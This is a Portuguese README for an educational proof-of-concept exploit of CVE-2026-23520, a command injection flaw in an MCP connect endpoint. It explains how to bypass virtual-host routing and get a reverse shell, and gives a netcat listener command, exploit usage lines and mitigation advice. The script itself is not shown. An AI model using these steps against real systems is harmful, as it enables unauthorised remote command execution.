
🎓 PoC Educativa para CVE-2026-23520. Laboratório de análise de vulnerabilidades e mitigação controlada. 🧪
AVISO: Este repositório e os scripts contidos nele são estritamente para fins educacionais e acadêmicos.
As informações fornecidas aqui têm como objetivo ajudar pesquisadores de segurança, administradores de sistemas e estudantes a entender os mecanismos de vulnerabilidades de injeção de comandos e de roteamento de hosts virtuais em ambientes de laboratório controlados (como plataformas Capture The Flag).
Nunca use esta ferramenta contra qualquer sistema, rede ou infraestrutura sem permissão explícita e por escrito do proprietário. Os autores não se responsabilizam por qualquer uso indevido ou dano causado por este software.
Este repositório fornece uma Prova de Conceito (PoC) para explorar a CVE-2026-23520 no contexto da implementação do Model Context Protocol (MCP) em determinadas stacks de aplicações (como Arcane v1.13.0).
A vulnerabilidade é uma falha clássica de Injeção de Comandos. O endpoint da API (/api/mcp/connect) aceita um payload JSON para configurar uma nova conexão de servidor. O payload inclui um objeto serverConfig contendo os campos e .
commandargsComo a aplicação não sanitiza adequadamente esses campos antes de executá-los no sistema operacional host, um atacante pode fornecer comandos bash maliciosos (como um reverse shell) em vez de um caminho de serviço legítimo.
Em muitas implantações reais ou de CTF, simplesmente enviar o exploit para o endereço IP principal resultará em um erro 404 Not Found. Isso acontece porque o componente vulnerável (por exemplo, MCPJam Inspector) está hospedado atrás de um proxy reverso (como Nginx) que roteia o tráfego com base no cabeçalho Host.
Esta PoC difere dos exploits padrão ao permitir explicitamente que o usuário especifique o Host Virtual (vhost) para contornar as regras de roteamento do proxy e atingir diretamente a aplicação vulnerável.
Este script requer Python 3 e a biblioteca requests.
pip install requests
python3 exploit_vhost.py <target_ip> <target_port> <virtual_host> <listener_ip> <listener_port>
nc -lvnp 4444
python3 exploit_vhost.py 10.129.x.x 443 mcp.target.local 10.10.x.x 4444
Nota: Um erro "Read timed out" é esperado e indica que o reverse shell foi executado com sucesso e está mantendo a conexão aberta.
Os administradores devem garantir que estejam executando a versão mais recente corrigida do software. Se a correção não for imediatamente possível, restrinja o acesso ao endpoint /api/mcp/connect e garanta que uma validação estrita de entrada seja aplicada a todos os parâmetros de serverConfig.